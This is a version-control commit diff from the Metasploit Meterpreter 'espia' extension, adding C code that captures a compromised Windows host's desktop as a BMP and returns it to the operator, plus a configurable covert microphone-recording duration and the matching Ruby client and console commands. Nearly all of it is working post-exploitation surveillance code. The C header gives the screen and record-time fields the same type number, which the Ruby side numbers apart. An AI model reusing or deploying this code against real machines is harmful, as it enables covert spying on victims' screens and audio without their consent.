Finally screenshot capture. BMP at this time

git-svn-id: file:///home/svn/framework3/trunk@7063 4d416f70-5f16-0410-b530-b9f4589650da
unstable
et 2009-09-26 04:05:09 +00:00
parent c4594f396f
commit a89914d448
10 changed files with 373 additions and 73 deletions

View File

@ -64,7 +64,7 @@ BOOL capmicaudio(char *szFile, int millisecs)
int __declspec(dllexport) controlmic(char **waveresults) {
int __declspec(dllexport) controlmic(char **waveresults, int msecs) {
DWORD dwError = 0;
char *wavestring = NULL;
@ -72,7 +72,7 @@ int __declspec(dllexport) controlmic(char **waveresults) {
char buffer[100];
/* END METERPRETER CODE */
capmicaudio("C:\\test.wav", 10000);
capmicaudio("C:\\test.wav", msecs);
*waveresults = wavestring;
@ -90,8 +90,7 @@ DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet)
DWORD res = ERROR_SUCCESS;
char *wave = NULL;
if (controlmic(&wave))
if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME)))
{
res = GetLastError();
}

View File

@ -6,6 +6,7 @@
#include "espia.h"
#include "audio.h"
#include "video.h"
#include "screen.h"
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
@ -33,6 +34,12 @@ Command customCommands[] =
{ EMPTY_DISPATCH_HANDLER },
},
// Screen
{ "espia_image_get_dev_screen",
{ request_image_get_dev_screen, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },

View File

@ -11,8 +11,20 @@
#define TLV_TYPE_DEV_AUDIO \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_META_TYPE_STRING, \
TLV_TYPE_EXTENSION_ESPIA, \
TLV_EXTENSIONS + 912)
#define TLV_TYPE_DEV_SCREEN \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_RAW, \
TLV_TYPE_EXTENSION_ESPIA, \
TLV_EXTENSIONS + 913)
#define TLV_TYPE_DEV_RECTIME \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_ESPIA, \
TLV_EXTENSIONS + 913)
#endif

View File

@ -0,0 +1,220 @@
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include <wingdi.h>
#include "espia.h"
/* Function modified to store bitmap in memory. et [ ] metasploit.com
======================================================================
Saves a bitmap to a file
The following function was adopted from pywin32, and is thus under the
following copyright:
Copyright (c) 1994-2008, Mark Hammond
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
Neither name of Mark Hammond nor the name of contributors may be used
to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS
IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
int save_bitmap_file(HBITMAP hBmp, HDC hDC, Packet *resp){
// data structures
BITMAP bmp;
PBITMAPINFO pbmi;
WORD cClrBits;
//HANDLE hf; // file handle
BITMAPFILEHEADER hdr; // bitmap file-header
PBITMAPINFOHEADER pbih; // bitmap info-header
LPBYTE lpBits; // memory pointer
DWORD dwTotal; // total count of bytes
DWORD cb; // incremental count of bytes
BYTE *hp; // byte pointer
DWORD dwTmp;
DWORD s;
TCHAR* buf;
// Retrieve the bitmap's color format, width, and height.
if (!GetObject(hBmp, sizeof(BITMAP), (LPVOID) &bmp))
// GetObject failed
return 0;
// Convert the color format to a count of bits.
cClrBits = (WORD)(bmp.bmPlanes * bmp.bmBitsPixel);
if (cClrBits == 1)
cClrBits = 1;
else if (cClrBits <= 4)
cClrBits = 4;
else if (cClrBits <= 8)
cClrBits = 8;
else if (cClrBits <= 16)
cClrBits = 16;
else if (cClrBits <= 24)
cClrBits = 24;
else cClrBits = 32;
// Allocate memory for the BITMAPINFO structure. (This structure
// contains a BITMAPINFOHEADER structure and an array of RGBQUAD
// data structures.)
if (cClrBits != 24)
pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * (1<< cClrBits));
// There is no RGBQUAD array for the 24-bit-per-pixel format.
else
pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER));
// Initialize the fields in the BITMAPINFO structure.
pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
pbmi->bmiHeader.biWidth = bmp.bmWidth;
pbmi->bmiHeader.biHeight = bmp.bmHeight;
pbmi->bmiHeader.biPlanes = bmp.bmPlanes;
pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel;
if (cClrBits < 24)
pbmi->bmiHeader.biClrUsed = (1<<cClrBits);
// If the bitmap is not compressed, set the BI_RGB flag.
pbmi->bmiHeader.biCompression = BI_RGB;
// Compute the number of bytes in the array of color
// indices and store the result in biSizeImage.
pbmi->bmiHeader.biSizeImage = (pbmi->bmiHeader.biWidth + 7) /8
* pbmi->bmiHeader.biHeight * cClrBits;
// Set biClrImportant to 0, indicating that all of the
// device colors are important.
pbmi->bmiHeader.biClrImportant = 0;
pbih = (PBITMAPINFOHEADER) pbmi;
lpBits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage);
if (!lpBits) {
// GlobalAlloc failed
//printf("error: out of memory\n");
return 0;
}
// Retrieve the color table (RGBQUAD array) and the bits
// (array of palette indices) from the DIB.
if (!GetDIBits(hDC, hBmp, 0, (WORD) pbih->biHeight, lpBits, pbmi, DIB_RGB_COLORS)) {
// GetDIBits failed
//printf("error: GetDiBits failed\n");
return 0;
}
hdr.bfType = 0x4d42; // 0x42 = "B" 0x4d = "M"
// Compute the size of the entire file.
hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER) +
pbih->biSize + pbih->biClrUsed
* sizeof(RGBQUAD) + pbih->biSizeImage);
hdr.bfReserved1 = 0;
hdr.bfReserved2 = 0;
// Compute the offset to the array of color indices.
hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER) +
pbih->biSize + pbih->biClrUsed * sizeof (RGBQUAD);
s = sizeof(BITMAPFILEHEADER);
s = s + (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
// Copy the array of color indices into the .BMP file.
dwTotal = cb = pbih->biSizeImage;
hp = lpBits;
s = s + ((int) cb);
buf = (TCHAR *)malloc(s * sizeof(TCHAR));
memcpy(buf, (LPVOID) &hdr, sizeof(BITMAPFILEHEADER));
memcpy(buf+sizeof(BITMAPFILEHEADER),(LPVOID) pbih, sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
memcpy(buf+sizeof(BITMAPFILEHEADER)+ (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)),(LPSTR) hp, (int) cb);
packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf, s);
// Free memory.
GlobalFree((HGLOBAL)lpBits);
return 1;
}
/*
* Grabs screenshot.
*/
DWORD request_image_get_dev_screen(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
HWND hDesktopWnd;
HDC hdc;
HDC hmemdc;
HBITMAP hbmp;
int sx,sy;
hDesktopWnd = GetDesktopWindow();
hdc = GetDC(hDesktopWnd);
hmemdc = CreateCompatibleDC(hdc);
if(hdc){
sx = GetSystemMetrics(SM_CXSCREEN);
sy = GetSystemMetrics(SM_CYSCREEN);
hbmp = CreateCompatibleBitmap(hdc,sx,sy);
if (hbmp) {
SelectObject(hmemdc, hbmp);
BitBlt(hmemdc,0,0,sx,sy,hdc,0,0,SRCCOPY);
save_bitmap_file(hbmp, hmemdc,response);
ReleaseDC(hDesktopWnd,hdc);
DeleteDC(hmemdc);
DeleteObject(hbmp);
}
}
packet_transmit_response(res, remote, response);
return res;
}

View File

@ -0,0 +1,6 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_SCREEN_H
#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_SCREEN_H
DWORD request_image_get_dev_screen(Remote *remote, Packet *packet);
#endif

View File

@ -366,6 +366,10 @@
RelativePath="..\..\source\extensions\espia\espia.c"
>
</File>
<File
RelativePath="..\..\source\extensions\espia\screen.c"
>
</File>
<File
RelativePath="..\..\source\extensions\espia\video.c"
>
@ -384,6 +388,10 @@
RelativePath="..\..\source\extensions\espia\espia.h"
>
</File>
<File
RelativePath="..\..\source\extensions\espia\screen.h"
>
</File>
<File
RelativePath="..\..\source\extensions\espia\video.h"
>

View File

@ -130,12 +130,10 @@ Global
{488BE203-8407-42D1-B334-8B5C3BC5AB3E}.Release|x64.Build.0 = Release|x64
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|Win32.ActiveCfg = Debug|Win32
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|Win32.Build.0 = Debug|Win32
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|x64.ActiveCfg = Debug|x64
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|x64.Build.0 = Debug|x64
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|x64.ActiveCfg = Debug|Win32
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|Win32.ActiveCfg = Release|Win32
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|Win32.Build.0 = Release|Win32
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|x64.ActiveCfg = Release|x64
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|x64.Build.0 = Release|x64
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|x64.ActiveCfg = Release|Win32
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|Win32.ActiveCfg = Debug|Win32
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|Win32.Build.0 = Debug|Win32
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|x64.ActiveCfg = Debug|x64

View File

@ -1,48 +1,64 @@
#!/usr/bin/env ruby
require 'rex/post/meterpreter/extensions/espia/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Espia
###
#
# This meterpreter extensions interface that is capable
# grab webcam frame and recor mic audio
#
###
class Espia < Extension
def initialize(client)
super(client, 'espia')
client.register_extension_aliases(
[
{
'name' => 'espia',
'ext' => self
},
])
end
def espia_video_get_dev_image()
request = Packet.create_request('espia_video_get_dev_image')
response = client.send_request(request)
return true
end
def espia_audio_get_dev_audio()
request = Packet.create_request('espia_audio_get_dev_audio')
response = client.send_request(request)
return true
end
end
#!/usr/bin/env ruby
require 'rex/post/meterpreter/extensions/espia/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Espia
###
#
# This meterpreter extensions interface that is capable
# grab webcam frame and recor mic audio
#
###
class Espia < Extension
def initialize(client)
super(client, 'espia')
client.register_extension_aliases(
[
{
'name' => 'espia',
'ext' => self
},
])
end
def espia_video_get_dev_image()
request = Packet.create_request('espia_video_get_dev_image')
response = client.send_request(request)
return true
end
def espia_audio_get_dev_audio(rsecs)
request = Packet.create_request('espia_audio_get_dev_audio')
request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
response = client.send_request(request)
return true
end
def espia_image_get_dev_screen(storepath)
request = Packet.create_request('espia_image_get_dev_screen')
response = client.send_request(request)
t = Time.now
tstr = t.strftime("%d%m%Y%H%M%S")
fn = "#{storepath}espia_screen#{tstr}.bmp"
dst_fd = ::File.new(fn, "wb")
dst_fd.write(response.get_tlv_value(TLV_TYPE_DEV_SCREEN))
dst_fd.close
return fn
end
end
end; end; end; end; end

View File

@ -1,14 +1,16 @@
module Rex
module Post
module Meterpreter
module Extensions
module Espia
TLV_TYPE_ESPIA_DEV_IMAGE = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 911)
TLV_TYPE_ESPIA_DEV_AUDIO = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 912)
end
end
end
end
module Rex
module Post
module Meterpreter
module Extensions
module Espia
TLV_TYPE_DEV_IMAGE = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 911)
TLV_TYPE_DEV_AUDIO = TLV_META_TYPE_STRING| (TLV_EXTENSIONS + 912)
TLV_TYPE_DEV_SCREEN = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 913)
TLV_TYPE_DEV_RECTIME = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 914)
end
end
end
end
end

View File

@ -29,7 +29,8 @@ class Console::CommandDispatcher::Espia
def commands
{
"dev_image" => "Attempt to grab a frame from webcam",
"dev_audio" => "Attempt to record mic audio"
"dev_audio" => "Attempt to record mic audio",
"dev_screen" => "Attempt to grab screen shot"
}
end
@ -40,10 +41,41 @@ class Console::CommandDispatcher::Espia
return true
end
def cmd_dev_audio()
client.espia.espia_audio_get_dev_audio()
print_line("[*] Done.")
def cmd_dev_audio(*args)
maxrec = 60
if (args.length < 1)
print_line("Usage: dev_audio <rec_secs>\n")
print_line("Record mic audio\n")
return true
end
secs = args[0].to_i
if secs > 0 and secs <= maxrec
milsecs = secs*1000
print_line("[*] Recording #{milsecs} miliseconds.\n")
client.espia.espia_audio_get_dev_audio(milsecs)
print_line("[*] Done.")
else
print_line("[-] Error: Recording time 0 to 60 secs \n")
end
return true
end
def cmd_dev_screen(*args)
if (args.length < 1)
print_line("Usage: dev_screen <store_path>\n")
print_line("Grab screen shot\n")
return true
end
storepath = args[0]
sf = client.espia.espia_image_get_dev_screen(storepath)
print_line("[*] Image saved: #{sf}")
print_line("[*] Done.")
return true
end